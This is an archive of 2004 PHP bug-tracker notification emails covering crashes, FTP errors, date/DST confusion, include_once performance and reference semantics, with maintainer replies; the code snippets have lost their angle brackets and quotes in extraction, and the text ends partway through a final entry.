stat(): Stat failed for nonexistentfileHAHAHA (errno=2 - No such file
or directory)

test end
-

Actual result:
--
actually prints

-
test start

stat(): Stat failed for nonexistentfileHAHAHA (errno=2 - No such file
or directory)
-


Under w2k a litle window appear to say that php.exe has generated
errors etc...

Under FreeBSD I can see in server logs:

pid 33566 (php), uid 27173: exited on signal 10





-- 
Edit this bug report at http://bugs.php.net/?id=29114edit=1


#29168 [Opn-Fbk]: Access Violation at 010173CD

2004-07-14 Thread pollita
 ID:   29168
 Updated by:   [EMAIL PROTECTED]
 Reported By:  gabbe at anglecorp dot com
-Status:   Open
+Status:   Feedback
 Bug Type: IIS related
 Operating System: windows 2003
 PHP Version:  5.0.0
 New Comment:

Not enough information was provided for us to be able
to handle this bug. Please re-read the instructions at
http://bugs.php.net/how-to-report.php

If you can provide more information, feel free to add it
to this bug and change the status back to Open.

Thank you for your interest in PHP.



Previous Comments:


[2004-07-15 00:10:37] gabbe at anglecorp dot com

Description:

PHP has encountered an Access Violation at 010173CD

For example when opening the index.php in 
phpMyAdmin-2.5.7-pl1

or

Invision Power Board v1.3.1 Final

this also applies to windows XP with same error code...








-- 
Edit this bug report at http://bugs.php.net/?id=29168edit=1


#29114 [Opn-Fbk]: Stat() function crashes PHP (signal 10) in a particular case

2004-07-13 Thread pollita
 ID:   29114
 Updated by:   [EMAIL PROTECTED]
 Reported By:  john dot wellesz at firstream dot net
-Status:   Open
+Status:   Feedback
 Bug Type: Reproducible crash
 Operating System: w2k/FreeBSD
 PHP Version:  4.3.7
-Assigned To:  
+Assigned To:  pollita
 New Comment:

Can you try this on PHP5?  The filestat code got some heavy
reorganizing and the bug may be resolved there, but I think I can see
what's happening in the PHP4 branch.



Previous Comments:


[2004-07-13 03:21:49] john dot wellesz at firstream dot net

Description:

The bug I'm about to describe exists since at least PHP 4.1.2 and
happens on w2k and freeBSD 4.9 STABLE and probably other platforms (I'm
currently using PHP 4.3.7 and 4.3.4).

My 2 php (w2k and FreeBSD) runs as CGI, the crashes also happens if I
execute my script on command line.

Modules used is probably irrelevant, I use 2 PHP one on FreeBSD and the
other on w2k compiled on totally different way with not the same
modules... (tell me if you cant reproduce the crash, i'll provide more
info)


BUG REQUIREMENTS:

-- you must be using an error handler
-- Inside your PHP script you must call a stat() function (filemtime,
stat() etc...) over a file that DOESN'T EXIST.
-- In your error handling function*(see note 1) you must either:
   - make another stat() over a file that doesn't exist
   - or call the unlink() function on a file that DOES EXIST

(1): inside your error handling function means:
  - direcly in the error handling function 
  - in a function that is called by your error handling function

RESULT:

Once the content of the error handler has been properly executed PHP
crashes on SIGNAL 10 (BUS ERROR)

NOTE that calling other specific functions than stat() functions family
and unlink() may cause the same issue, I didn't test.



Reproduce code:
---
?php
$dumyfile=foo.txt;
touch($dumyfile);

function userErrorHandler ($errno, $errmsg)
{
global  $dumyfile;

unlink($dumyfile); // can be replaced by stat(MUHUHAHAHA); (same
effect)

echo(br\n$errmsgbr\n);
}

$old_error_handler = set_error_handler(userErrorHandler);

echo btest start/bbr\n;
stat(nonexistentfileHAHAHA);
echo brbtest end/b\n;
?


Expected result:

should prints:

-
test start

stat(): Stat failed for nonexistentfileHAHAHA (errno=2 - No such file
or directory)

test end
-

Actual result:
--
actually prints

-
test start

stat(): Stat failed for nonexistentfileHAHAHA (errno=2 - No such file
or directory)
-


Under w2k a litle window appear to say that php.exe has generated
errors etc...

Under FreeBSD I can see in server logs:

pid 33566 (php), uid 27173: exited on signal 10





-- 
Edit this bug report at http://bugs.php.net/?id=29114edit=1


#29120 [Opn-Bgs]: Upload progress bar using PHP?

2004-07-13 Thread pollita
 ID:   29120
 Updated by:   [EMAIL PROTECTED]
 Reported By:  mail at spybreak dot de
-Status:   Open
+Status:   Bogus
 Bug Type: Feature/Change Request
 Operating System: Windows 2000
 PHP Version:  4.3.7
 New Comment:

Please do not submit the same bug more than once. An existing
bug report already describes this very problem. Even if you feel
that your issue is somewhat different, the resolution is likely
to be the same. 

Thank you for your interest in PHP.

.


Previous Comments:


[2004-07-13 17:54:41] mail at spybreak dot de

Description:

This is a feature request.

I'm not a very technical person but as far as I understand, one can't
display a progress bar for file uploads with PHP because of technical
issues (one can't access the RAW post data or something).

Will this be fixed in PHP5? That'd be very cool.


Thank you
Rob






-- 
Edit this bug report at http://bugs.php.net/?id=29120edit=1


#28829 [Opn-Csd]: empty parameters cause crash

2004-07-13 Thread pollita
 ID:   28829
 Updated by:   [EMAIL PROTECTED]
 Reported By:  rashid at ds dot pg dot gda dot pl
-Status:   Open
+Status:   Closed
 Bug Type: BC math related
 Operating System: win 2k3
 PHP Version:  5CVS-2004-06-18 (dev)
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.




Previous Comments:


[2004-07-13 22:41:13] chris at leftbrained dot org

I'm still experiencing this issue, exactly as described, using a build
from this mornings CVS.

I'm using Apache2 and Windows 2k Pro, with PHP compiled as a module,
and lib_mysql and lib_mysqli in use.

I'm available for any tests that might be necessary, though I'm not
comfortable compiling PHP on Windows.



[2004-06-28 01:19:54] rashid at ds dot pg dot gda dot pl

some more precise info
in above example: $total = $temp = 0

i tried other settings:
$total = $temp = '0' still caused error.
$total = $temp = '0.0' worked fine

hope this info helps - it looks like some kind of variable type
conversion problems



[2004-06-18 14:36:44] rashid at ds dot pg dot gda dot pl

Description:

description in http://bugs.php.net/bug.php?id=27759 describes the
problem well. there is also the same problem with bcsub. its reported
again because the bug is still present in latest cvs build.

Reproduce code:
---
PEAR`s Benchmark_Timer::getProfiling():
//... this is part of loop - first settings of parameters are empty,
and apache throws exception right away
$diff  = bcsub($time, $temp, 6);
$total = bcadd($total, $diff, 6);  
//...

Actual result:
--
apache exception ['memory cannot be read']





-- 
Edit this bug report at http://bugs.php.net/?id=28829edit=1


#29110 [Opn-Fbk]: ftp_rawlist problem 'php_connect_nonb() failed: Connection refused'

2004-07-12 Thread pollita
 ID:   29110
 Updated by:   [EMAIL PROTECTED]
 Reported By:  fcurra at tecnonexo dot com
-Status:   Open
+Status:   Feedback
 Bug Type: FTP related
 Operating System: Linux 2.4.25
 PHP Version:  4.3.7
 New Comment:

What is the return value of ftp_pasv()?

  var_dump(ftp_pasv($conn_id, true));


Previous Comments:


[2004-07-12 18:27:31] fcurra at tecnonexo dot com

Comment about behavior. If you don't use passive mode (comment line
ftp_pasv) then the warning doesn't appear. Any ideas?



[2004-07-12 17:56:58] fcurra at tecnonexo dot com

Description:

I need to retrieve files from a SSL-FTP connection. 

I started working with PHP 4.3.3, but the function ftp_rawlist()
allways returned false with a specific FTP server (casually the one
which i need to connect, it works with others). So, after read comments
about other ocurrences of this problem i installed PHP 4.3.7 and tried
again. I though that maybe with the last PHP version this problem were
solved.

When i execute the reproduced code, received the actual result showed.

Reproduce code:
---
if( $conn_id = ftp_ssl_connect($ftp_host) ) {
$login_result = ftp_login($conn_id, $ftp_user_name,
$ftp_user_pass);

ftp_pasv($conn_id, true);

$pwd = ftp_pwd($conn_id);

$buff = ftp_rawlist($conn_id, $pwd);
var_dump($buff);
}

ftp_close($conn_id);


Expected result:

print the list of files.

Actual result:
--
Warning: ftp_rawlist(): php_connect_nonb() failed: Connection refused
(111) in /usr/local/apache_1.3.27/htdocs/nti/connect.php on line 44

bool(false) 


** LINE 44 is ***
$buff = ftp_rawlist($conn_id, $pwd);
*






-- 
Edit this bug report at http://bugs.php.net/?id=29110edit=1


#29110 [Fbk]: ftp_rawlist problem 'php_connect_nonb() failed: Connection refused'

2004-07-12 Thread pollita
 ID:   29110
 Updated by:   [EMAIL PROTECTED]
 Reported By:  fcurra at tecnonexo dot com
 Status:   Feedback
 Bug Type: FTP related
 Operating System: Linux 2.4.25
 PHP Version:  4.3.7
 New Comment:

Oh, and is there any IPv6 involved here?  (Take a look at phpinfo() to
see if it says IPv6 enabled)  Does the remote server support IPv6?  Are
you passing a hostname or an IP address?

If both ends are IPv6 capable, try connecting with an IPv4 address
(1.2.3.4 as opposed to ftp.foo.com) to see if it behaves properly.  


Previous Comments:


[2004-07-12 19:08:23] [EMAIL PROTECTED]

What is the return value of ftp_pasv()?

  var_dump(ftp_pasv($conn_id, true));



[2004-07-12 18:27:31] fcurra at tecnonexo dot com

Comment about behavior. If you don't use passive mode (comment line
ftp_pasv) then the warning doesn't appear. Any ideas?



[2004-07-12 17:56:58] fcurra at tecnonexo dot com

Description:

I need to retrieve files from a SSL-FTP connection. 

I started working with PHP 4.3.3, but the function ftp_rawlist()
allways returned false with a specific FTP server (casually the one
which i need to connect, it works with others). So, after read comments
about other ocurrences of this problem i installed PHP 4.3.7 and tried
again. I though that maybe with the last PHP version this problem were
solved.

When i execute the reproduced code, received the actual result showed.

Reproduce code:
---
if( $conn_id = ftp_ssl_connect($ftp_host) ) {
$login_result = ftp_login($conn_id, $ftp_user_name,
$ftp_user_pass);

ftp_pasv($conn_id, true);

$pwd = ftp_pwd($conn_id);

$buff = ftp_rawlist($conn_id, $pwd);
var_dump($buff);
}

ftp_close($conn_id);


Expected result:

print the list of files.

Actual result:
--
Warning: ftp_rawlist(): php_connect_nonb() failed: Connection refused
(111) in /usr/local/apache_1.3.27/htdocs/nti/connect.php on line 44

bool(false) 


** LINE 44 is ***
$buff = ftp_rawlist($conn_id, $pwd);
*






-- 
Edit this bug report at http://bugs.php.net/?id=29110edit=1


#29100 [Opn-Bgs]: fread ignores memory_limit

2004-07-12 Thread pollita
 ID:   29100
 Updated by:   [EMAIL PROTECTED]
 Reported By:  pickleman78 at sbcglobal dot net
-Status:   Open
+Status:   Bogus
 Bug Type: Reproducible crash
 Operating System: WIndows XP
 PHP Version:  4.3.6
 New Comment:

emalloc() deosn't *actually* try to allocate the memory.  It checks
your requested amount against the php.ini setting and if it's too high,
throws a fatal error.

It has to be a fatal error because your script has outrun its
resources, and it's impossible to predict whether or not it can safely
continue operations in that condition.


Previous Comments:


[2004-07-11 22:40:59] pickleman78 at sbcglobal dot net

Description:

I am getting a crash from PHP when I mistakenly attempt to read
1,761,607,681 bytes from an incoming socket. Now I would reasonably
assume that since this is far above the memory limit set in my PHP.ini
file 
memory_limit = 8M
I would expect it to stop before even attempting to allocate such a
rediculous ammount of memory for the script. In this case it fails with
a
FATAL:  emalloc() unable to allocate 1761607681 bytes. Should this be
what it does? I would expect it to issue an ERROR as opposed to
crashing.

Reproduce code:
---
?php
$fp=fsockopen(http://php.net;);
$data=fread($fp,1761607681);
?

Expected result:

It would be expected to receive an error as opposed to PHP trying to
allocate this memory

Actual result:
--
Stated above, causes
FATAL: emalloc() could not..





-- 
Edit this bug report at http://bugs.php.net/?id=29100edit=1


#29065 [Opn-Bgs]: Some wrong dates when using gtdate()/mktime()

2004-07-08 Thread pollita
 ID:   29065
 Updated by:   [EMAIL PROTECTED]
 Reported By:  ehavet at yahoo dot fr
-Status:   Open
+Status:   Bogus
 Bug Type: Date/time related
 Operating System: Linux 2.4.16C12
 PHP Version:  4.3.6
 New Comment:

We are happy to tell you that you just discovered Daylight Savings
Time. For more information see:
http://webexhibits.org/daylightsaving/b.html
Instead of using mktime/date consider using gmmktime and gmdate which
do
not suffer from DST.




Previous Comments:


[2004-07-08 18:49:43] ehavet at yahoo dot fr

Description:

When you want to display each 10/31/Year plus 1 day, you've got
sometimes 10/31/Year instead of 11/01/Year.

Noticed on PHP 4.3.3 (ISP linux server) and PHP 4.3.6 (WinXP personal
system)

Getting the date with date(m/d/Y, mktime(0,0,0,10,31,$i)+(24*3600));
gives the same result exept for 11/1/1993

Reproduce code:
---
?php
  
  for ($i = 1990 ;$i  2011 ; $i++) {

$date = getdate(mktime(0,0,0,10,31,$i)+(24*3600));
echo $date['mon']./.$date['mday']./.$date['year'].\n;

  }
  
?

Expected result:

11/1/1990
11/1/1991
11/1/1992
11/1/1993
11/1/1994
11/1/1995
11/1/1996
11/1/1997
11/1/1998
11/1/1999
11/1/2000
...


Actual result:
--
11/1/1990
11/1/1991
11/1/1992
10/31/1993
11/1/1994
11/1/1995
11/1/1996
11/1/1997
11/1/1998
10/31/1999
11/1/2000
11/1/2001
11/1/2002
11/1/2003
10/31/2004
11/1/2005
11/1/2006
11/1/2007
11/1/2008
11/1/2009
10/31/2010
11/1/2011






-- 
Edit this bug report at http://bugs.php.net/?id=29065edit=1


#29005 [Opn]: fopen() can't open NT named pipes on local computer

2004-07-06 Thread pollita
 ID:   29005
 Updated by:   [EMAIL PROTECTED]
 Reported By:  cleong at nflc dot org
 Status:   Open
 Bug Type: Feature/Change Request
 Operating System: Windows 2000
 PHP Version:  4.3.6
 New Comment:

Indeed, Wez and I both have our eyes on named pipe support.  With luck
it'll show up in 5.1, in any case it should be a simple backport to
make it available to 5.0 via a PECL extension.


Previous Comments:


[2004-07-05 09:49:10] [EMAIL PROTECTED]

Let's make this a feature request as it's currently not meant to work.



[2004-07-04 00:06:58] cleong at nflc dot org

Description:

fopen() can't handle path names like \\.\pipe\pipename because the
internal function virtual_file_ex() see the .\ part, thinks that it
means current directory, and promptly removes it.

The manual doesn't mention named pipes but I think this is worth fixing
as it will give PHP Win32 a robust interprocess communication mechanism
that's fairly easy to implement. The fix is easy enough. Insert the
following at line 413 in tsrm_virtual_cwd.c, right after the else if
(!IS_DIRECTORY_CURRENT(ptr, ptr_length)) loop:

#ifdef TSRM_WIN32
/* '.' should be retained if the first two chars are 
'\' as it
stands for local machine
   done mainly for paths to NT named pipes  
(\\.\pipe\pipename) */
} else if(state-cwd_length == 2  state-cwd[0] == '\\' 
state-cwd[1] == '\\') {
state-cwd = (char *) realloc(state-cwd,
state-cwd_length+ptr_length+1);
memcpy(state-cwd[state-cwd_length], ptr, 
ptr_length+1);
state-cwd_length += ptr_length;
#endif
}


Reproduce code:
---
Set break point at line 1975 in streams.c

fd = open(realpath, open_flags, 0666);

then run ? readfile('.\\pipe\\pipename'); ?. Inspect realpath.

Expected result:

realpath = \\.\pipe\pipename

Actual result:
--
realpath = \\pipe\pipename





-- 
Edit this bug report at http://bugs.php.net/?id=29005edit=1


#29038 [Opn-Bgs]: extract function, EXTR_PREFIX_SAME option prefixes empty strings

2004-07-06 Thread pollita
 ID:   29038
 Updated by:   [EMAIL PROTECTED]
 Reported By:  tomas_matousek at hotmail dot com
-Status:   Open
+Status:   Bogus
 Bug Type: Arrays related
 Operating System: WinXP
 PHP Version:  5.0.0RC3
 New Comment:

What would you have PHP do?  Create a variable with no name?


Previous Comments:


[2004-07-06 22:20:13] tomas_matousek at hotmail dot com

Description:

The extract() function with EXTR_PREFIX_SAME option specified prefixes
variable name which is an empty string, although such variable doesn't
exists in the scope where extract is called.

Manual says:
EXTR_PREFIX_SAME
If there is a collision, prefix the variable name with prefix.

And this is not true for an empty string.
A bug is possibly here (!!!):
-- array.c 
case EXTR_PREFIX_SAME:
if (!var_exists)
smart_str_appendl(final_name, var_name, var_name_len);
/* break omitted intentionally */

case EXTR_PREFIX_ALL:
if (final_name.len == 0 !!!) { ...
break;
---

Reproduce code:
---
function f()
{
  extract(array( = 1),EXTR_PREFIX_SAME,prefix);
  print_r(get_defined_vars());
{
 
f();


Expected result:

Array
(
)



Actual result:
--
Array
(
[prefix_] = 1
)







-- 
Edit this bug report at http://bugs.php.net/?id=29038edit=1


#28918 [Opn-Bgs]: include_once() relatively slow

2004-06-25 Thread pollita
 ID:   28918
 Updated by:   [EMAIL PROTECTED]
 Reported By:  mail at spybreak dot de
-Status:   Open
+Status:   Bogus
 Bug Type: Performance problem
 Operating System: Windows 2000
 PHP Version:  4.3.6
 New Comment:

Please do not submit the same bug more than once. An existing
bug report already describes this very problem. Even if you feel
that your issue is somewhat different, the resolution is likely
to be the same. 

Thank you for your interest in PHP.




Previous Comments:


[2004-06-25 13:20:00] mail at spybreak dot de

Description:

I noticed when timing my scripts that include_once is pretty slow when
one looks at how simple of a job this function has.

I timed an example further down.

Please don't disregard this request just because it might not seem very
important. If it can't be improved though, C is not my domain, nevermind
and thanks for reading :)

Reproduce code:
---
include_once(components_dir.'style.php');
/* 0.0026910305023193 seconds */


include_once(components_dir.'style.php'); 
/* 0.00091314315795898 seconds
   only three times as fast as the first include_once call! whereas the
next example…*/


$array =
array('somefile.php','somefile.php','somefile.php','somefile.php','somefile.php',
  
'somefile.php','somefile.php','somefile.php','somefile.php','somefile.php');
in_array('someotherfile.php',$array);
/* only takes 0.65088272094727 seconds and hence is 40x as fast (if
my calculations are correct) */






-- 
Edit this bug report at http://bugs.php.net/?id=28918edit=1


#28919 [Opn]: foreach does not take list() as argument output

2004-06-25 Thread pollita
 ID:   28919
 Updated by:   [EMAIL PROTECTED]
 Reported By:  black at scene-si dot org
 Status:   Open
-Bug Type: Scripting Engine problem
+Bug Type: Feature/Change Request
 Operating System: any
 PHP Version:  Irrelevant
 New Comment:

This is expected behavior.  list() is a left-hand language construct
and not currently intended to be used this way.

Reclassifying to Feature/Change Request.


Previous Comments:


[2004-06-25 13:20:05] black at scene-si dot org

Description:

Requesting additional functionality for foreach?

Reproduce code:
---
$table = array();
$table['username'] = array(1,John doe);
$table['black'] = array(2,Jane doe);
$table['yawn'] = array(3,Undefined);

foreach ($table as $key=list($id,$title)) {
  echo $key.:.$id., .$title.\n;
}
foreach ($table as list($id,$title)) {
  echo $id., .$title.\n;
}

Expected result:

username:1, John doe
black:2, Jane doe
yawn:3, Undefined
1, John doe
2, Jane doe
3, Undefined

Actual result:
--
Parse error





-- 
Edit this bug report at http://bugs.php.net/?id=28919edit=1


#28865 [Opn-Fbk]: Functions ftp_*list

2004-06-24 Thread pollita
 ID:   28865
 Updated by:   [EMAIL PROTECTED]
 Reported By:  336764 at 163 dot com
-Status:   Open
+Status:   Feedback
 Bug Type: FTP related
 Operating System: MandRake 10
 PHP Version:  5.0.0RC3
 Assigned To:  pollita
 New Comment:

Now that you've changed your environment variable settings, and gotten
tmpfile() to work, do ftp_nlist() and/or ftp_rawlist() work as
expected?


Previous Comments:


[2004-06-23 12:04:12] 336764 at 163 dot com

vi /root/.bashrc

Add TMPDIR=/tmp 

save  exit;

Restart httpd

run php:
var_dump(tmpfile());

get:
resource(2) of type (stream)



[2004-06-23 03:37:39] 336764 at 163 dot com

PHP5 Environment variable:
TMPDIR is /root/tmp  

How to change it ?



[2004-06-23 03:21:59] 336764 at 163 dot com

bool(false)



[2004-06-21 17:59:11] [EMAIL PROTECTED]

What does the ouput of this show?

var_dump(tmpfile());



[2004-06-21 09:39:35] 336764 at 163 dot com

Description:

Warning: ftp_nlist() [function.ftp-nlist]: Unable to create temporary
file. Check permissions in temporary files directory. in
/web/browse.inc.php on line 181


Warning: ftp_rawlist() [function.ftp-nlist]: Unable to create temporary
file. Check permissions in temporary files directory. in
/web/browse.inc.php on line 181



/tmp is chmod 777 and other temporary directory is 777 too.

Reproduce code:
---
$rawlist = ftp_rawlist($conn_id, -a);
$rawlist = ftp_rawlist($conn_id, );

$rawlist = ftp_nlist($conn_id, -a);
$rawlist = ftp_nlist($conn_id, );

Expected result:

Warning: ftp_nlist() [function.ftp-nlist]: Unable to create temporary
file. Check permissions in temporary files directory.
/web/browse.inc.php on line 181



Actual result:
--
list all files to array.





-- 
Edit this bug report at http://bugs.php.net/?id=28865edit=1


#28893 [Opn]: Unexpected behaviour of new

2004-06-24 Thread pollita
 ID:   28893
 Updated by:   [EMAIL PROTECTED]
 Reported By:  bf at mediaspace dot net
 Status:   Open
 Bug Type: Class/Object related
 Operating System: Linux
 PHP Version:  5.0.0RC3
 New Comment:

When you assign $a[] = $object; not only is $a[$i] a reference to
$object, but it also works the other way around.

So in your next iteration, when you call $object = new Test(); you ARE
creating a new object, unfortuately this new object is overwriting
$object, which means it's also overwriting $a[$i-1].  Since the
original instance is no longer referenced, it gets destroyed and you're
left with one object.

To get your expected behavior put unset($object); after your assign it
to your array:

for($i=0;$i10;$i++) {
$object = new Test();
$object-iterator=$i;
$a[]=$object;
unset($object);
}

This will de-couple the reference link between $object and $a[$i].


Previous Comments:


[2004-06-24 01:30:55] bla at discardmail dot com

i must agree rodolfo, this is correct for php5
but in php4 it is buggy



[2004-06-23 18:50:16] rodolfo at rodsoft dot org

I've just ran your example and found that if you write a[]=$object
(without ), it runs flawlessly.



[2004-06-23 18:48:02] rodolfo at rodsoft dot org

I've experienced something similar with 'clone' when the cloned
variable is used in mysqli_bind_result, as I said in bug #28870.



[2004-06-23 13:56:21] bf at mediaspace dot net

Description:

If using new in a for-loop it seems that the same instance is re-used
all the time. This is not what is expected, because in terms of OOP the
new-operator schould create a new instance every time.

Tested with 4.3.3 and 5.0RC3

Reproduce code:
---
?
class Test {
var $iterator;
}

$a=array();

for($i=0;$i10;$i++) {
$object = new Test();
$object-iterator=$i;
$a[]=$object;
}

foreach($a as $object) {
echo $object-iterator.br;
}

?

Expected result:

Output should be:

0
1
2
3
4
5
6
7
8
9


Actual result:
--
Output actual is:

9
9
9
9
9
9
9
9
9
9

- The same instance is reused all the time.





-- 
Edit this bug report at http://bugs.php.net/?id=28893edit=1


#28893 [Opn-Bgs]: Unexpected behaviour of new

2004-06-24 Thread pollita
 ID:   28893
 Updated by:   [EMAIL PROTECTED]
 Reported By:  bf at mediaspace dot net
-Status:   Open
+Status:   Bogus
 Bug Type: Class/Object related
 Operating System: Linux
 PHP Version:  5.0.0RC3
 New Comment:

.


Previous Comments:


[2004-06-24 02:06:54] [EMAIL PROTECTED]

When you assign $a[] = $object; not only is $a[$i] a reference to
$object, but it also works the other way around.

So in your next iteration, when you call $object = new Test(); you ARE
creating a new object, unfortuately this new object is overwriting
$object, which means it's also overwriting $a[$i-1].  Since the
original instance is no longer referenced, it gets destroyed and you're
left with one object.

To get your expected behavior put unset($object); after your assign it
to your array:

for($i=0;$i10;$i++) {
$object = new Test();
$object-iterator=$i;
$a[]=$object;
unset($object);
}

This will de-couple the reference link between $object and $a[$i].



[2004-06-24 01:30:55] bla at discardmail dot com

i must agree rodolfo, this is correct for php5
but in php4 it is buggy



[2004-06-23 18:50:16] rodolfo at rodsoft dot org

I've just ran your example and found that if you write a[]=$object
(without ), it runs flawlessly.



[2004-06-23 18:48:02] rodolfo at rodsoft dot org

I've experienced something similar with 'clone' when the cloned
variable is used in mysqli_bind_result, as I said in bug #28870.



[2004-06-23 13:56:21] bf at mediaspace dot net

Description:

If using new in a for-loop it seems that the same instance is re-used
all the time. This is not what is expected, because in terms of OOP the
new-operator schould create a new instance every time.

Tested with 4.3.3 and 5.0RC3

Reproduce code:
---
?
class Test {
var $iterator;
}

$a=array();

for($i=0;$i10;$i++) {
$object = new Test();
$object-iterator=$i;
$a[]=$object;
}

foreach($a as $object) {
echo $object-iterator.br;
}

?

Expected result:

Output should be:

0
1
2
3
4
5
6
7
8
9


Actual result:
--
Output actual is:

9
9
9
9
9
9
9
9
9
9

- The same instance is reused all the time.





-- 
Edit this bug report at http://bugs.php.net/?id=28893edit=1


#28901 [Opn-Bgs]: include_once() and require_once() could be *much* faster

2004-06-24 Thread pollita
 ID:   28901
 Updated by:   [EMAIL PROTECTED]
 Reported By:  sprice at wisc dot edu
-Status:   Open
+Status:   Bogus
 Bug Type: Performance problem
 Operating System: Mac OS X 10.3.4
 PHP Version:  4.3.7
 New Comment:

The internal include_once() performs additional checks which are not
performed by your improved version.  For example, your version does
not account for symbolic links, non-case sensitive file systems, or
current working directory and include paths (when used with relative
pathnames).

The good news is that the basic format of your already included
registry is the essentially the same as what's used internally, so you
were on the right track at least.


Previous Comments:


[2004-06-23 22:43:10] sprice at wisc dot edu

Description:

I use include_once() and require_once() quite a bit, as 
I would guess many others do. During a single page load, 
I might call for the same file from many functions, just 
to make sure things get defined correctly and in the 
correct order. I did some testing today, and I noticed 
that they both could be close to *two orders of 
magnitude* faster for multiple inclusions.

I have attached the PHP code that I used to test this. 
On my computer, when I use include_once() inside the for 
loop, it takes about 6.0 seconds. When I use 
improved_include_once(), it takes about 0.08 seconds. 
The same goes for require_once().

Could/Should something like this be implemented in PHP? 
It seems like a good idea, and you guys could do a more 
efficient implementation than I am able to do.

Reproduce code:
---
function getMicroTime(){
list($usec, $sec) = explode( ' ', microtime() );
return ((float)$usec + (float)$sec);
}

function improved_include_once($filename){
if(!isset($GLOBALS['included_files'][$filename])){
include_once($filename);
$GLOBALS['included_files'][$filename] = TRUE;
}
}

$start_time = getMicroTime();

for($i = 0; $i  1; $i++){
include_once('my_file.inc');
}

echo (getMicroTime() - $start_time);






-- 
Edit this bug report at http://bugs.php.net/?id=28901edit=1


#28902 [Opn]: String offset syntax can't be used on integers.

2004-06-24 Thread pollita
 ID:   28902
 Updated by:   [EMAIL PROTECTED]
-Summary:  strlen() integer not converted to string
 Reported By:  todd at magnifisites dot com
 Status:   Open
 Bug Type: Strings related
-Operating System: RH 9
+Operating System: All
-PHP Version:  4.3.6
+PHP Version:  4.3.8-dev
 New Comment:

It's not strlen() that's failing.

It's the $number{$offset} syntax.

I can see the argument for casting $number to a string when string
offset syntax is used, but I'm not sure enough it's the right thing to
do.


Previous Comments:


[2004-06-23 23:23:40] todd at magnifisites dot com

Description:

The substr() function will convert an integer and return the correct
results.  Using strlen() returns NULL, it does not convert an integer
to string so that the expected results are returned.

Reproduce code:
---
$string = '12345';
$number = 12345;
print substr($number, -1) . 'br /'; // works fine
print $string{strlen($string)-1} . 'br /'; works fine
// This won't work, $number is not a string:
print $number{strlen($number)-1} . 'br /';
// Now cast it as a string and it will:
$number = (string)$number;
print $number{strlen($number)-1} . 'br /';


Expected result:

I would expect PHP to automagically convert the integer to a string
without having to cast it as string first.






-- 
Edit this bug report at http://bugs.php.net/?id=28902edit=1


#28879 [Opn-Csd]: Behavioural issues: $foo = array() vs $foo[] and objects vs resources

2004-06-24 Thread pollita
 ID:   28879
 Updated by:   [EMAIL PROTECTED]
 Reported By:  [EMAIL PROTECTED]
-Status:   Open
+Status:   Closed
 Bug Type: Arrays related
 Operating System: WinXP
 PHP Version:  5.0.0RC3
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.

$a = array($objectvar = 'value');
$b = array($arrayvar = 'value');
$c = array($resourcevar = 'value');

Will now throw an E_WARNING Illegal offset type just like:

$a[$objectvar] = 'value';
$b[$arrayvar] = 'value';

already do.



$c[$resourcevar] = 'value'; 

will continue to work (for backwards compatability), however it will
now throw an E_WARNING Resource ID#X used as offset, casting to
integer (X) to strongly discourage this behavior.  

If this is a genuinely desired/used feature, then the error can be
supressed using the standard @ operator or (preferrably) by manually
casting the resource to an int:

@$c[$resourcevar] = 'value';
$c[(int)$resourcevar] = 'value';


Previous Comments:


[2004-06-22 18:05:58] [EMAIL PROTECTED]

I'm going to re-paste the Reproduce Code section, as it is rather
confusing.

Part 1;
---
Inconsistant behaviour between different methods of array creation.

?php
// Create two resources
$fp1 = fsockopen(www.example.com, 80, $errno, $errstr, 30);
$fp2 = fsockopen(www.example.com, 80, $errno, $errstr, 30);

// Add them to an array with two different methods
$resarray = array(); $resarray[$fp1] = 'fp1';
$resarray2 = array($fp1 = 'fp1', $fp2 = 'fp2');

// Show the result
echo resources: first method:\n;
var_dump($resarray);
echo resources: second method:\n;
var_dump($resarray2);
?

With Method #1 there is no problem.
With Method #2 no error is thrown, and the array is not populated.


Part 2;
---
Failure of an object to cast itself to an interger or string. With the
second method, failure to produce an error.

?php
// Create a sample object
class id_obj { var $_id; function id_obj($id) { $this-_id = $id; } }

// Create two new instances
$id1 = new id_obj(1);
$id2 = new id_obj(2);

// Add them to an array with two different methods described above
$array = array(); $array[$id1] = 'foo';
$array2 = array ($id1 = 'id1', $id2 = 'id2');

// Check the results
echo objects: first method:\n;
var_dump($array);
echo objects: second method:\n;
var_dump($array2);
?

In Method #1, an error is thrown (Illegal offset type). The array is
not populated.

In Method #2, no error is thrown and the array is not populated.



[2004-06-22 17:59:58] [EMAIL PROTECTED]

Here's a little more information for Part 1, as I don't think I really
explained myself.

For example:
?php
// Let $fp1 and $fp2 be resources

// Array creation - Method #1
$resarray = array();
$resarray[$fp1] = 'fp1';
$resarray[$fp2] = 'fp2';

// Method #2
$resarray2 = array(
$fp1 = 'fp1',
$fp2 = 'fp2');
?

For Method #1, PHP behaves as expected. The resource is casted to an
interger and the array is populated.

For Method #2, PHP does not behave as I would expect. The resource is
not casted, no error is thrown and the array is not populated.

This is demonstrated in the Reproduce Code section.



[2004-06-22 11:42:55] [EMAIL PROTECTED]

Description:

This bug report pertains to two seperate but related problems:

1. Unexpected and undocumented behaviour, between $foo[] and $foo =
array()

2. Automatic conversion of objects to strings when used as the key in
an array.

Part 1;
---
With a given resource, the automatic casting of a resource to an
interger differs based on the method of array creation.

This is both unexpected, and undocumented behaviour. I can see no
reason why this would be a feature, rather than a bug.

I suggest the behaviour be changed to be consistant with both methods
of array creation.

Part 2;
--
When an object is used as the key of an array (with behaviour changing
between method of array creation), should n't the object be casted to
an interger or the __toString method called?

When used with array() no error is thrown, the array is simply empty.
With $foo[__object__] an error is thrown.

I suggest the behaviour of objects as array keys be changed to be
consistant with that of resources.


The code in the reproduce code section demonstrates both aspects of the
behavioural issue.

Reproduce code:
---
?php
// Create a sample object
class id_obj { var $_id; function id_obj($id) { $this-_id = $id; } }
// Create two new objects
$id1 = new id_obj(1);
$id2 = new id_obj(2);
// Add them to an array with two different methods
$array = array(); $array[$id1] = 'foo';
$array2 = 

#28907 [Opn-Bgs]: ftp_chdir issues Warning when Failed to change directory. No error required.

2004-06-24 Thread pollita
 ID:   28907
 Updated by:   [EMAIL PROTECTED]
 Reported By:  mchizewski at yahoo dot com
-Status:   Open
+Status:   Bogus
